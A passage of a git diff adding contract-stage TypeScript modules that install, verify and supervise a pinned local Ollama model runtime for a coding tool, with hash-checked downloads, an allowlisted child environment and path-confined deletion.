runs on in the server. */ + install(request: LocalModelInstallRequest, actor: LocalModelActor): Promise<LocalModelVerbResult>; + /** `POST /api/local-model/cancel`. Answers once the step in flight was interrupted. */ + cancel(): Promise<LocalModelVerbResult>; + /** `POST /api/local-model/resume`. */ + resume(request: LocalModelResumeRequest, actor: LocalModelActor): Promise<LocalModelVerbResult>; + /** `POST /api/local-model/runtime`. */ + runtime(request: LocalModelRuntimeRequest): Promise<LocalModelVerbResult>; + /** + * `DELETE /api/local-model`. `liveSessionNames` is what `sessionNamesUsingEndpoint()` found: + * not empty answers 409 `sessions-open`. Else: stop the runtime, remove our endpoint record, + * restore the settings flag when this feature switched it on and no other endpoint is left, + * delete the runtime and the private home and (when asked) the models. The coding agent stays. + */ + remove(request: LocalModelRemoveRequest, liveSessionNames: readonly string[]): Promise<LocalModelVerbResult>; + /** + * Called once when the server starts. An interrupted job becomes `paused`. An installed + * runtime that was not stopped is started (an own orphan on the port is adopted or + * replaced, another listener is `port-in-use`) and the digest is read again. Never throws, + * and never keeps the server from starting. + */ + boot(): Promise<void>; + /** Called when the server stops, beside `stopDeepSeekWeb()`: aborts a job in flight (it reads `paused` at the next boot) and stops the runtime. */ + shutdown(): Promise<void>; +} + +/** A service over `deps`. A test builds its own with fakes. */ +export function createLocalModelService(deps: Partial<LocalModelServiceDeps> = {}): LocalModelService { + return notImplemented('createLocalModelService', deps); +} + +/** The one service of this process, built on first use with the real modules. What the routes and server.ts call. */ +export function getLocalModelService(): LocalModelService { + return notImplemented('getLocalModelService'); +} diff --git a/src/local-model/ollama-client.ts b/src/local-model/ollama-client.ts new file mode 100644 index 00000000..bf7bb17b --- /dev/null +++ b/src/local-model/ollama-client.ts @@ -0,0 +1,275 @@ +/** + * @fileoverview The HTTP client of the model runtime: what Codeman asks its own runtime on + * the loopback port, and the pure functions that read the answers. + * + * CONTRACT STAGE: every function below has its final signature and a body that throws; the + * bodies are written next. + * + * What it asks: + * - `GET /api/version`, `GET /api/tags`, `GET /api/ps`, `GET /v1/models`, `DELETE /api/delete`. + * - `POST /api/pull` with `stream: true`. The answer is one JSON object per line, and a + * 23 GB pull sends about 1.4 million of them, so the stream is parsed INCREMENTALLY + * (`createPullParser()`, pure): only the unfinished last line and the running totals are + * kept, never the body. Aborting the request stops the download; pulling again continues + * it. An error line or a stream that ends without `success` is retried, at most + * `PULL_RETRIES` times. + * - The check after the pull (`verifyModel()`), in this order: one tiny chat with + * `reasoning_effort: "none"` (it loads the model), then `GET /api/ps` must show the whole + * model on the GPU (`size_vram` equal to `size`) at the chosen context + * (`judgeLoaded()`, pure), then one tool probe on `/v1/chat/completions` with a `tools` + * array, `reasoning_effort: "none"` and `max_tokens` of `TOOL_PROBE_MAX_TOKENS`, which + * passes on a tool call whose arguments parse as JSON (`judgeToolProbe()`, pure). + * + * Rules: + * - Nothing here throws for something a runtime can answer: every outcome is a result with + * the job's error code. An abort signal is the result `cancelled`. + * - The runtime does not enforce the context length (a prompt of 167,012 tokens was accepted + * at 131072), so nothing here relies on it to. + * - Every function takes its `fetch` from the target, so a test passes the fake runtime's + * address and spawns nothing. + */ + +import type { LocalModelErrorCode } from '../types.js'; + +/** Marks a body the contract stage left unwritten. */ +function notImplemented(what: string, ..._args: unknown[]): never { + throw new Error(`${what} is not implemented yet`); +} + +/** How often a pull that ended on an error line or a cut stream is started again. */ +export const PULL_RETRIES = 5; +/** `max_tokens` of the tool probe. */ +export const TOOL_PROBE_MAX_TOKENS = 1024; + +/** Which runtime to ask. */ +export interface OllamaTarget { + /** `http://127.0.0.1:<port>`, without a trailing slash. */ + baseUrl: string; + /** Default: the global `fetch`. */ + fetch?: typeof fetch; +} + +// ---------- Listings ---------- + +/** One model of `GET /api/tags`: what is on disk. */ +export interface OllamaTagModel { + /** `name:tag`. */ + name: string; + /** Size on disk in bytes. */ + size: number; + /** The model's digest, lowercase hex without a prefix. What is stored and compared again before a session starts. */ + digest: string; + /** `details.format` ('safetensors' for an MLX build, 'gguf'). */ + format?: string; + /** `details.runner` ('mlx', 'ggml'). */ + runner?: string; + /** `capabilities` ('completion', 'tools', 'thinking', 'vision'). */ + capabilities?: string[]; +} + +/** One model of `GET /api/ps`: what is loaded. */ +export interface OllamaPsModel { + name: string; + /** Memory the loaded model takes, in bytes. */ + size: number; + /** The part of `size` that is on the GPU. Equal to `size` when all of it is. */ + sizeVram: number; + /** The context length the model was loaded with. */ + contextLength: number; + digest?: string; +} + +/** The runtime's version ('0.40.15'), or `undefined` when nothing answers there or the answer is not a runtime's. */ +export async function getRuntimeVersion(target: OllamaTarget, signal?: AbortSignal): Promise<string | undefined> { + return notImplemented('getRuntimeVersion', target, signal); +} + +/** The models on disk. An empty list when the runtime has none or does not answer. */ +export async function listTags(target: OllamaTarget, signal?: AbortSignal): Promise<OllamaTagModel[]> { + return notImplemented('listTags', target, signal); +} + +/** The models loaded right now. An empty list when none is or the runtime does not answer. */ +export async function listRunning(target: OllamaTarget, signal?: AbortSignal): Promise<OllamaPsModel[]> { + return notImplemented('listRunning', target, signal); +} + +/** The model ids `GET /v1/models` lists, exactly as listed (the runtime answers `data: null` for none). */ +export async function listOpenAiModels(target: OllamaTarget, signal?: AbortSignal): Promise<string[]> { + return notImplemented('listOpenAiModels', target, signal); +} + +/** The digest `GET /api/tags` reports for `modelId`, or `undefined` when the model is not on disk. */ +export async function readModelDigest( + target: OllamaTarget, + modelId: string, + signal?: AbortSignal +): Promise<string | undefined> { + return notImplemented('readModelDigest', target, modelId, signal); +} + +/** Deletes a model from the runtime's store. True when it is gone afterwards (also when it never was there). */ +export async function deleteModel(target: OllamaTarget, modelId: string, signal?: AbortSignal): Promise<boolean> { + return notImplemented('deleteModel', target, modelId, signal); +} + +// ---------- Pull ---------- + +/** What the pull's lines add up to so far. */ +export interface PullSnapshot { + /** Sum of the last `completed` of every layer seen. */ + completedBytes: number; + /** Sum of the `total` of every layer seen. Grows while new layers appear; 0 before the first. */ + totalBytes: number; + /** The `status` text of the last line that had one ('pulling manifest', 'writing manifest'). */ + status?: string; + /** A line `{"status":"success"}` was seen. */ + succeeded: boolean; + /** The text of the first `{"error":"..."}` line. */ + error?: string; + /** How many complete lines were parsed. */ + lines: number; +} + +/** + * Reads a pull stream piece by piece. It keeps the unfinished last line and the totals per + * layer, never the lines themselves, so its memory does not grow with the stream. + */ +export interface PullParser { + /** Feed the next piece of the body. A line may be split anywhere across pieces, a multi-byte character too. */ + push(chunk: string | Uint8Array): void; + /** The body ended: reads a last line that had no line break. */ + end(): void; + snapshot(): PullSnapshot; +} + +/** + * A parser for one pull stream. Pure: no IO, no clock. Lines it understands (both real): + * + * - an MLX build: `{"status":"pulling model","digest":"sha256:model","total":23105798956,"completed":N}` + * - a GGUF build, one layer after the other: + * `{"status":"pulling c5396e06af29","digest":"sha256:c539...","total":397807936,"completed":N}` + * (`completed` is absent until the layer's first bytes arrived) + * - `{"status":"pulling manifest"}`, `{"status":"verifying sha256 digest"}`, + * `{"status":"writing manifest"}`, `{"status":"success"}` + * - `{"error":"max retries exceeded: local error: tls: bad record MAC"}` + * + * A line that is not JSON is skipped and still counted. + */ +export function createPullParser(): PullParser { + return notImplemented('createPullParser'); +} + +/** How far a pull is, for the caller's progress display. */ +export interface PullProgress { + completedBytes: number; + totalBytes: number; + /** Over the last few seconds. Absent until it can be told. */ + bytesPerSecond?: number; +} + +export interface PullOptions { + /** Aborts the request, which stops the download. The result is `cancelled`. */ + signal?: AbortSignal; + /** Called at most a few times a second, and once more when the pull ends. */ + onProgress?: (progress: PullProgress) => void; + /** Default `PULL_RETRIES`. */ + retries?: number; + /** Waits between retries. A test injects its own. */ + sleep?: (ms: number) => Promise<void>; + /** The clock of the speed figure, in milliseconds. A test injects its own. */ + now?: () => number; +} + +/** How a pull ended. */ +export type PullResult = + | { + ok: true; + /** The pull's own total: what every size shown for the model comes from once it is known. */ + totalBytes: number; + } + | { + ok: false; + code: Extract<LocalModelErrorCode, 'pull-failed' | 'model-not-found' | 'disk-full'>; + /** The runtime's last error text. */ + detail?: string; + } + | { ok: false; code: 'cancelled' }; + +/** Pulls `modelId` and waits for the end. Resuming is calling it again. Never throws. */ +export async function pullModel(target: OllamaTarget, modelId: string, options: PullOptions = {}): Promise<PullResult> { + return notImplemented('pullModel', target, modelId, options); +} + +// ---------- The check after the pull ---------- + +/** The codes the check can end on. */ +export type VerifyFailureCode = Extract< + LocalModelErrorCode, + 'load-failed' | 'does-not-fit' | 'context-not-applied' | 'no-tool-call' | 'probe-unfinished' +>; + +/** What the runtime reported about the loaded model. */ +export interface LoadedModel { + context: number; + sizeBytes: number; + sizeVramBytes: number; +} + +/** The body of the tiny chat that loads the model: one short user message, `reasoning_effort: "none"`, a small `max_tokens`. Pure. */ +export function buildChatProbeRequest(modelId: string): Record<string, unknown> { + return notImplemented('buildChatProbeRequest', modelId); +} + +/** The body of the tool probe: a `tools` array, `reasoning_effort: "none"`, `max_tokens: TOOL_PROBE_MAX_TOKENS`. Pure. */ +export function buildToolProbeRequest(modelId: string): Record<string, unknown> { + return notImplemented('buildToolProbeRequest', modelId); +} + +/** + * Judges the process list after the chat. Pure. + * - the model is not listed: `load-failed`; + * - `sizeVram` is not `size`: `does-not-fit` (part of the model is not on the GPU); + * - `contextLength` is not `context`: `context-not-applied`. + */ +export function judgeLoaded( + models: readonly OllamaPsModel[], + modelId: string, + context: number +): { ok: true; loaded: LoadedModel } | { ok: false; code: VerifyFailureCode; detail?: string } { + return notImplemented('judgeLoaded', models, modelId, context); +} + +/** + * Judges the answer of the tool probe. Pure. `status` is the HTTP status, `body` the parsed + * JSON (or `undefined` when it did not parse). + * - a tool call whose `arguments` parse as a JSON object: passed; + * - `finish_reason` is `length`: `probe-unfinished` (the token limit ended it, so it proves nothing); + * - any other answer of status 200: `no-tool-call`; + * - another status: `load-failed`. + */ +export function judgeToolProbe( + status: number, + body: unknown +): { ok: true } | { ok: false; code: VerifyFailureCode; detail?: string } { + return notImplemented('judgeToolProbe', status, body); +} + +/** How the check ended. */ +export type VerifyResult = + | { ok: true; loaded: LoadedModel } + | { ok: false; code: VerifyFailureCode; detail?: string } + | { ok: false; code: 'cancelled' }; + +/** + * The whole check, in order: the chat, the process list, the tool probe. Stops at the first + * failure. Never throws. + */ +export async function verifyModel( + target: OllamaTarget, + modelId: string, + context: number, + signal?: AbortSignal +): Promise<VerifyResult> { + return notImplemented('verifyModel', target, modelId, context, signal); +} diff --git a/src/local-model/paths.ts b/src/local-model/paths.ts new file mode 100644 index 00000000..9933d7ab --- /dev/null +++ b/src/local-model/paths.ts @@ -0,0 +1,87 @@ +/** + * @fileoverview Where everything of the local model lives on disk. One pure function, so the + * runtime, the install job and uninstall all name the same folders. + * + * Layout, all under the data dir (`dataPath()`, so a second Codeman instance has its own): + * + * ``` + * local-model.json the state file (mode 0600) + * local-model/ + * runtime/ollama-<version>.tgz.partial the runtime archive while it downloads + * runtime/ollama-<version>.unpack/ where the archive is unpacked, before the rename + * runtime/ollama-<version>/ the unpacked runtime; its binary is `ollama` + * models/ the runtime's model store + * home/ the runtime's private HOME (its key pair lands here) + * ``` + * + * Rules: + * - `root` is the ONE folder this feature owns. Nothing is written or deleted outside it, + * except the state file beside it and the two writes of the connect step (the endpoint + * record and the settings flag), which have their own writers. + * - Every path comes from here. None is ever read back from the state file, so a state file + * cannot point a delete anywhere else. `isInsideLocalModelRoot()` is the check a delete + * makes before it runs. + * - Pure apart from `dataPath()`, which resolves (and creates) the data dir. + */ + +import { join, resolve, sep } from 'node:path'; +import { dataPath } from '../config/instance.js'; + +/** A runtime version as it may appear in a folder name: digits and dots only ('0.40.15'). */ +const VERSION_PATTERN = /^\d+(?:\.\d+){1,3}$/; + +export interface LocalModelPaths { + /** `<data dir>/local-model`: the one folder this feature owns. */ + root: string; + /** `<root>/runtime`: the archive and every unpacked version. */ + runtimeRoot: string; + /** `<root>/runtime/ollama-<version>`: the unpacked runtime. */ + runtimeDir: string; + /** The runtime's binary: `<runtimeDir>/ollama`. */ + binary: string; + /** `<root>/runtime/ollama-<version>.tgz.partial`: the archive while it downloads. */ + archivePartial: string; + /** `<root>/runtime/ollama-<version>.unpack`: the temporary folder the archive is unpacked into. */ + unpackDir: string; + /** `<root>/models`: the runtime's model store. */ + modelsDir: string; + /** `<root>/home`: the runtime's private HOME. */ + homeDir: string; + /** `<data dir>/local-model.json`: the state file. */ + stateFile: string; +} + +/** + * The paths of the local model for one runtime version. Throws on a version that is not + * digits and dots, so a version string can never add a path segment. + */ +export function localModelPaths(version: string): LocalModelPaths { + if (!VERSION_PATTERN.test(version)) { + throw new Error(`Not a runtime version: ${JSON.stringify(version)}`); + } + const root = dataPath('local-model'); + const runtimeRoot = join(root, 'runtime'); + const runtimeDir = join(runtimeRoot, `ollama-${version}`); + return { + root, + runtimeRoot, + runtimeDir, + binary: join(runtimeDir, 'ollama'), + archivePartial: join(runtimeRoot, `ollama-${version}.tgz.partial`), + unpackDir: join(runtimeRoot, `ollama-${version}.unpack`), + modelsDir: join(root, 'models'), + homeDir: join(root, 'home'), + stateFile: dataPath('local-model.json'), + }; +} + +/** + * Whether `path` is the local model folder itself or lies inside it, judged on the resolved + * text (no filesystem access, so a symlink is not followed: a caller that deletes checks the + * real path first). `..` segments are resolved before the comparison. + */ +export function isInsideLocalModelRoot(path: string, root: string = dataPath('local-model')): boolean { + const base = resolve(root); + const target = resolve(path); + return target === base || target.startsWith(base + sep); +} diff --git a/src/local-model/recommend.ts b/src/local-model/recommend.ts index 884cc71f..f9845285 100644 --- a/src/local-model/recommend.ts +++ b/src/local-model/recommend.ts @@ -71,6 +71,7 @@ import { type LocalModelMessage, type NoneReason, type Recommendation, + type RecommendOptions, type SpeedGrade, } from '../types.js'; import { chipBandwidthGbps } from '../config/local-model-catalog.js'; @@ -135,6 +136,29 @@ function fitGrade(need: number, budgetBytes: number): FitGrade { return 'out'; } +/** + * Whether the catalogue model `modelId` at `context` tokens fits this Mac's budget (a `good` + * or a `tight` fit). The install job asks this right after the runtime started, with the + * budget the runtime measured, BEFORE it downloads the model: a `false` ends the job with + * `does-not-fit`. It is the same judgement `recommend()` makes for a candidate, without the + * ranking, so a model that fits is never ruled out for being listed sixth. + * + * `options` is the stage 2 input, as for `recommend()`; nothing reads it yet, so the budget + * is still the estimate. False for a model the catalogue does not have. + */ +export function modelFitsBudget( + hw: HardwareFacts, + catalog: LocalModelCatalog, + modelId: string, + context: number, + options: RecommendOptions = {} +): boolean { + void options; + const model = catalog.models.find((entry) => entry.id === modelId); + if (!model) return false; + return fitGrade(needBytes(model, context, catalog, hw), deviceBudget(hw).budgetBytes) !== 'out'; +} + /** * Whether the MACHINE is Apple silicon. `hw.optional.arm64` decides when it was read. Without * it: a process under Rosetta, an arm64 process or an Apple chip name each prove Apple silicon @@ -256,12 +280,18 @@ function none( /** * The recommendation for this Mac. `harnessFacts` holds one fact per catalogue harness the * caller could resolve; a catalogue harness without a fact is not offered. + * + * `options` is the stage 2 input (`RecommendOptions`: the budget the runtime measured, and + * the runtime download an install still needs). The parameter is in place so callers compile + * against the final signature; nothing reads it yet. */ export function recommend( hw: HardwareFacts, catalog: LocalModelCatalog, - harnessFacts: readonly HarnessFact[] + harnessFacts: readonly HarnessFact[], + options: RecommendOptions = {} ): Recommendation { + void options; // Off macOS and on an Intel Mac there is no budget to compute: a model has no memory to run in. const noBudget: DeviceBudget = { limitBytes: 0, budgetBytes: 0, source: 'estimated' }; if (hw.platform !== 'darwin') return none('not-macos', noBudget); diff --git a/src/local-model/runtime.ts b/src/local-model/runtime.ts new file mode 100644 index 00000000..1cc334f5 --- /dev/null +++ b/src/local-model/runtime.ts @@ -0,0 +1,308 @@ +/** + * @fileoverview The model runtime: which build Codeman runs, how it gets onto the disk, and + * how it is kept running. + * + * CONTRACT STAGE: `OLLAMA_RUNTIME_PIN` and the constants are final. Every function below has + * its final signature and a body that throws; the bodies are written next. + * + * What this module does: + * - THE PIN. `OLLAMA_RUNTIME_PIN` is a compiled constant. No file, setting, environment + * variable or request can change the URL, the size or the hash. + * - DOWNLOAD (`ensureRuntimeInstalled()`). The archive is streamed to + * `LocalModelPaths.archivePartial` while it is hashed. A cut stream is continued with a + * Range request, at most `RUNTIME_DOWNLOAD_RETRIES` times. A body longer than `pin.bytes` + * is refused. The sha256 is compared BEFORE anything is unpacked, and a mismatch deletes the + * file. Unpacking is `/usr/bin/tar` into `LocalModelPaths.unpackDir`, then one rename to + * `LocalModelPaths.runtimeDir`. + * - ENVIRONMENT (`runtimeEnv()`, pure). The child's environment is built from an ALLOWLIST: + * PATH, TMPDIR, LANG and the proxy variables (`HTTP_PROXY`, `HTTPS_PROXY`, `NO_PROXY`, in + * either case) are copied from the server's; HOME is the private one; and exactly these are + * set: `OLLAMA_HOST=127.0.0.1:<port>`, `OLLAMA_MODELS`, `OLLAMA_CONTEXT_LENGTH`, + * `OLLAMA_NO_CLOUD=1`, `OLLAMA_KEEP_ALIVE=10m`, `OLLAMA_NUM_PARALLEL=1`, + * `OLLAMA_MAX_LOADED_MODELS=1`. Nothing else gets through: no `CODEMAN_*` and none of the + * user's own `OLLAMA_*`. + * - PORT (`chooseRuntimePort()`). Chosen ONCE by binding, from `RUNTIME_PORT_FIRST` across + * `RUNTIME_PORT_SPAN`, then stored by the caller. Never searched again on a later start. + * - SUPERVISOR (`createRuntimeSupervisor()`). The runtime is a NON-detached child of the + * server. `start()` first looks at the port: a listener that answers `/api/version` and + * whose pid (`previousPid`) runs a binary under our runtime folder is our own orphan and is + * adopted or replaced; any other listener is the answer `port-in-use`. A child that exits by + * itself is restarted, at most `RUNTIME_MAX_RESTARTS` times in a row; `stop()` sends SIGTERM. + * The supervisor does not write the state file: it reports through `onChange`, and its + * caller stores the pid and the port. + * - BUDGET (`parseInferenceComputeTotal()`, pure). Right after it starts, the runtime prints + * the device total in its log line "inference compute" (`total="37.4 GiB"`). The supervisor + * reads the child's output for it and reports it as `measuredTotalBytes`. + * - REMOVAL (`removeLocalModelFiles()`). Deletes the runtime, the private home and, when + * asked, the models. Only inside `LocalModelPaths.root`. + * + * Under vitest nothing spawns and nothing is fetched unless a test injects it: the default + * `spawn` and `fetch` of the dependency objects refuse there. + */ + +import type { ChildProcess, SpawnOptions } from 'node:child_process'; +import type { LocalModelErrorCode, LocalModelRuntimePin } from '../types.js'; +import type { LocalModelPaths } from './paths.js'; + +/** Marks a body the contract stage left unwritten. */ +function notImplemented(what: string, ..._args: unknown[]): never { + throw new Error(`${what} is not implemented yet`); +} + +// ---------- The pin and the constants ---------- + +/** The one runtime build Codeman downloads and runs. See the file header. */ +export const OLLAMA_RUNTIME_PIN: LocalModelRuntimePin = Object.freeze({ + id: 'ollama', + version: '0.40.15', + url: 'https://github.com/ollama/ollama/releases/download/v0.40.15/ollama-darwin.tgz', + bytes: 185_971_671, + sha256: '607c79d5d6315ef9d896db83adde736a4c0057196329843544e79b95afb260a8', + // Measured on a MacBook on 2026-11-06: the unpacked folder takes 579 MB. + unpackedBytes: 579_000_000, + minMacosMajor: 14, +}); + +/** The first loopback port tried for the runtime. Not 11434: that is the default of a runtime the user may run. */ +export const RUNTIME_PORT_FIRST = 11435; +/** How many ports are tried from `RUNTIME_PORT_FIRST`. */ +export const RUNTIME_PORT_SPAN = 20; +/** How often in a row a runtime that exited by itself is started again. */ +export const RUNTIME_MAX_RESTARTS = 3; +/** How often a cut archive download is continued. */ +export const RUNTIME_DOWNLOAD_RETRIES = 3; +/** `OLLAMA_KEEP_ALIVE`: how long the model stays loaded after the last request. */ +export const RUNTIME_KEEP_ALIVE = '10m'; + +// ---------- Pure ---------- + +/** + * The device total of the runtime's log line "inference compute", in bytes, or `undefined` + * for any other line. The real line (a MacBook, 2026-11-06): + * + * `time=... level=INFO source=types.go:32 msg="inference compute" id=0 ... type=iGPU total="37.4 GiB" available="37.4 GiB"` + * + * reads 40,157,944,217 (37.4 x 1024^3, rounded down). The value is the quoted text after + * ` total=`: a number and a binary unit (`KiB`, `MiB`, `GiB`, `TiB`). `total_vram=` of the + * line "vram-based default context" is not read. + */ +export function parseInferenceComputeTotal(line: string): number | undefined { + return notImplemented('parseInferenceComputeTotal', line); +} + +/** What `runtimeEnv()` is built from. */ +export interface RuntimeEnvInput { + /** The server's environment. Only the allowlisted names are read from it. */ + source: NodeJS.ProcessEnv; + /** The private HOME (`LocalModelPaths.homeDir`). */ + home: string; + /** The model store (`LocalModelPaths.modelsDir`). */ + modelsDir: string; + /** The loopback port. */ + port: number; + /** The context length in tokens. */ + contextLength: number; +} + +/** The environment of the runtime child: the allowlist of the file header, nothing more. Pure. */ +export function runtimeEnv(input: RuntimeEnvInput): NodeJS.ProcessEnv { + return notImplemented('runtimeEnv', input); +} + +/** + * Whether `command` (one line of `ps -o command= -p <pid>`) is a process whose binary lies + * under `runtimeRoot` (`LocalModelPaths.runtimeRoot`): our own runtime, so an orphan of an + * earlier server. Pure. `/private` in front of a path is the same path on macOS. + */ +export function isOwnRuntimeCommand(command: string, runtimeRoot: string): boolean { + return notImplemented('isOwnRuntimeCommand', command, runtimeRoot); +} + +// ---------- Download and unpack ---------- + +/** How far the archive download is. */ +export interface RuntimeDownloadProgress { + completedBytes: number; + /** `pin.bytes`. */ + totalBytes: number; +} + +/** What `ensureRuntimeInstalled()` calls. Each member defaults to the real thing; a test injects its own. */ +export interface RuntimeInstallDeps { + /** Fetches the archive. Must honour `signal` and a `Range` header. */ + fetch: typeof fetch; + /** Unpacks `archive` into the existing empty folder `intoDir` (`/usr/bin/tar -xzf`). Rejects on a non-zero exit. */ + untar: (archive: string, intoDir: string, signal?: AbortSignal) => Promise<void>; + /** Waits between retries. */ + sleep: (ms: number) => Promise<void>; +} + +export interface RuntimeInstallOptions { + /** Default `OLLAMA_RUNTIME_PIN`. A test passes a pin that points at its fake server. */ + pin?: LocalModelRuntimePin; + /** Default `localModelPaths(pin.version)`. */ + paths?: LocalModelPaths; + /** Aborts the download or the unpack. The partial archive stays for a later Range request. */ + signal?: AbortSignal; + /** Called while the archive downloads, at most a few times a second. */ + onProgress?: (progress: RuntimeDownloadProgress) => void; + deps?: Partial<RuntimeInstallDeps>; +} + +/** + * How getting the runtime ended. A failure carries the job's error code; `cancelled` is the + * abort signal and is not an error. + */ +export type RuntimeInstallResult = + | { + ok: true; + /** `LocalModelPaths.binary`. */ + binaryPath: string; + /** True: the folder was already unpacked and nothing was downloaded. */ + alreadyInstalled: boolean; + } + | { + ok: false; + code: Extract< + LocalModelErrorCode, + 'runtime-download-failed' | 'runtime-damaged' | 'runtime-unpack-failed' | 'disk-full' + >; + detail?: string; + } + | { ok: false; code: 'cancelled' }; + +/** Whether the pinned runtime is unpacked on disk (its binary exists). Never throws. */ +export async function isRuntimeInstalled(pin?: LocalModelRuntimePin, paths?: LocalModelPaths): Promise<boolean> { + return notImplemented('isRuntimeInstalled', pin, paths); +} + +/** + * Makes sure the pinned runtime is unpacked: nothing to do when it is, else download (with + * Range resume), compare the hash, unpack, rename. Idempotent, so a resumed job calls it + * again. Never throws: every outcome is a `RuntimeInstallResult`. + */ +export async function ensureRuntimeInstalled(options: RuntimeInstallOptions = {}): Promise<RuntimeInstallResult> { + return notImplemented('ensureRuntimeInstalled', options); +} + +/** What `removeLocalModelFiles()` deletes. */ +export interface RemoveLocalModelFilesOptions { + /** True: delete the model store too. False: the runtime, its archive and the private home only. */ + models: boolean; + /** Default `localModelPaths(OLLAMA_RUNTIME_PIN.version)`. */ + paths?: LocalModelPaths; +} + +/** + * Deletes what this feature put on disk: every runtime folder and archive, the private home + * and, when asked, the models. Refuses any path that is not inside `LocalModelPaths.root`, + * follows no symlink out of it, and removes `root` itself only when it is empty afterwards. + * The state file and the coding agent are not its business. + */ +export async function removeLocalModelFiles(options: RemoveLocalModelFilesOptions): Promise<void> { + return notImplemented('removeLocalModelFiles', options); +} + +// ---------- Port ---------- + +export interface ChooseRuntimePortOptions { + /** Default `RUNTIME_PORT_FIRST`. */ + first?: number; + /** Default `RUNTIME_PORT_SPAN`. */ + span?: number; + /** Ports to skip: the one that is in use when the person asked for another. */ + avoid?: readonly number[]; + /** Whether nothing holds `port` on 127.0.0.1, decided by BINDING it. A test injects its own. */ + isFree?: (port: number) => Promise<boolean>; +} + +/** The first free loopback port of the span, or `undefined` when none is free. Chosen once, then stored by the caller. */ +export async function chooseRuntimePort(options: ChooseRuntimePortOptions = {}): Promise<number | undefined> { + return notImplemented('chooseRuntimePort', options); +} + +// ---------- Supervisor ---------- + +/** What the supervisor knows about the runtime right now. Plain data. */ +export interface RuntimeStatus { + /** The child Codeman started (or adopted) is alive and answered `/api/version`. */ + running: boolean; + pid?: number; + port?: number; + /** The context length the running child was started with. */ + contextLength?: number; + /** The device total parsed from the child's log, in bytes. Absent for an adopted orphan (its log is not ours to read). */ + measuredTotalBytes?: number; + /** How often the child was restarted since the last `start()`. */ + restarts: number; + /** True: the child exited `RUNTIME_MAX_RESTARTS` times in a row and is no longer restarted (`runtime-stopped`). */ + gaveUp: boolean; +} + +export interface RuntimeStartOptions { + /** The stored port. */ + port: number; + /** The context length in tokens (`OLLAMA_CONTEXT_LENGTH`). A running child with another value is replaced. */ + contextLength: number; + /** The pid the state file holds from an earlier server: decides whether a listener on `port` is our own orphan. */ + previousPid?: number; +} + +/** How a `start()` ended. */ +export type RuntimeStartResult = + | { + ok: true; + pid: number; + port: number; + /** What happened to a listener that was already on the port: there was none, or it was ours. */ + orphan: 'none' | 'adopted' | 'replaced'; + /** The device total, when the log line was read before `start()` returned. */ + measuredTotalBytes?: number; + } + | { + ok: false; + /** `port-in-use`: a listener that is not ours. `runtime-start-failed`: no answer in time, or the child exited. */ + code: Extract<LocalModelErrorCode, 'port-in-use' | 'runtime-start-failed'>; + detail?: string; + }; + +/** What the supervisor calls. Each member defaults to the real thing; a test injects its own. */ +export interface RuntimeSupervisorDeps { + /** Starts the child. The default refuses under vitest. */ + spawn: (command: string, args: readonly string[], options: SpawnOptions) => ChildProcess; + /** Asks the runtime for `/api/version`. */ + fetch: typeof fetch; + /** The server's environment, the `source` of `runtimeEnv()`. */ + env: NodeJS.ProcessEnv; + /** `ps -o command= -p <pid>`, bounded. `undefined` when the pid is gone. */ + commandOfPid: (pid: number) => Promise<string | undefined>; + /** Signals a pid that is not our child (an orphan). */ + kill: (pid: number, signal: NodeJS.Signals) => void; + /** Whether nothing holds `port` on 127.0.0.1, decided by binding it. */ + isPortFree: (port: number) => Promise<boolean>; + sleep: (ms: number) => Promise<void>; + /** Default `OLLAMA_RUNTIME_PIN`. */ + pin: LocalModelRuntimePin; + /** Default `localModelPaths(pin.version)`. */ + paths: LocalModelPaths; + /** Called after every change of `status()`: a start, an exit, a restart, the budget line. The caller stores pid and port. */ + onChange: (status: RuntimeStatus) => void; +} + +/** The one supervisor of the runtime child. */ +export interface RuntimeSupervisor { + /** + * Makes sure the runtime runs on `port` with `contextLength`. Idempotent: a child that + * already runs with both is kept. Resolves once `/api/version` answers the pinned version + * and the budget line was read (or a few seconds passed without it). Never throws. + */ + start(options: RuntimeStartOptions): Promise<RuntimeStartResult>; + /** SIGTERM to the child, SIGKILL after a grace period. Resolves once it is gone. Safe to call when nothing runs. */ + stop(): Promise<void>; + status(): RuntimeStatus; +} + +/** A supervisor. The server keeps ONE (see `getLocalModelService()` in install-job.ts). */ +export function createRuntimeSupervisor(deps: Partial<RuntimeSupervisorDeps> = {}): RuntimeSupervisor { + return notImplemented('createRuntimeSupervisor', deps); +} diff --git a/src/local-model/state-store.ts b/src/local-model/state-store.ts new file mode 100644 index 00000000..ada9c69d --- /dev/null +++ b/src/local-model/state-store.ts @@ -0,0 +1,57 @@ +/** + * @fileoverview The ONE reader and writer of `local-model.json`, the state file of the local + * model install (`LocalModelStateFile`). + * + * CONTRACT STAGE: `IDLE_LOCAL_MODEL_STATE` is final. Every function below has its final + * signature and a body that throws; the bodies are written next. + * + * Why one module: the install job writes the state, the step and the digest, and the caller + * of the runtime supervisor writes the pid and the port. Two writers with their own temp file + * and rename would lose each other's change, which is the fault `mutateCustomModelHosts()` + * exists to end for the endpoint store. So every write goes through `mutateLocalModelState()`. + * + * The shape of `mutateSettingsFile()` (src/web/settings-writer.ts): + * - Serialized: mutations run one at a time on one promise chain. + * - Atomic: each write goes to a temp file with a random name beside the target and is + * renamed over it. The file is mode 0600. + * - Reading is TOTAL, unlike the settings writer: the file holds no setting of the user, only + * what this feature recorded, so a missing file, one that does not parse or one with + * another `schema` reads as `IDLE_LOCAL_MODEL_STATE` and the next write replaces it. + * - The path is `localModelPaths().stateFile`. The file itself holds no path. + */ + +import type { LocalModelStateFile } from '../types.js'; + +/** Marks a body the contract stage left unwritten. */ +function notImplemented(what: string, ..._args: unknown[]): never { + throw new Error(`${what} is not implemented yet`); +} + +/** The state when nothing was ever installed. What an unreadable file reads as. */ +export const IDLE_LOCAL_MODEL_STATE: LocalModelStateFile = Object.freeze({ schema: 1, state: 'idle' }); + +/** + * The state a file's text stands for. Pure and total: text that is not a JSON object of + * `schema: 1` with a known `state` is `IDLE_LOCAL_MODEL_STATE`. Members it does not know are + * dropped, and a member of the wrong type is dropped rather than trusted. + */ +export function parseLocalModelState(raw: string): LocalModelStateFile { + return notImplemented('parseLocalModelState', raw); +} + +/** The stored state. Never throws: a file that cannot be read is `IDLE_LOCAL_MODEL_STATE`. */ +export async function readLocalModelState(): Promise<LocalModelStateFile> { + return notImplemented('readLocalModelState'); +} + +/** + * Runs one change to the state file. `fn` receives the current state and returns the state to + * write, or `undefined` to write nothing. Resolves with the state before and after the change + * (`after` is `undefined` when nothing was written). `updatedAt` is stamped here. A failed + * write rejects its own caller only; the chain keeps going. + */ +export function 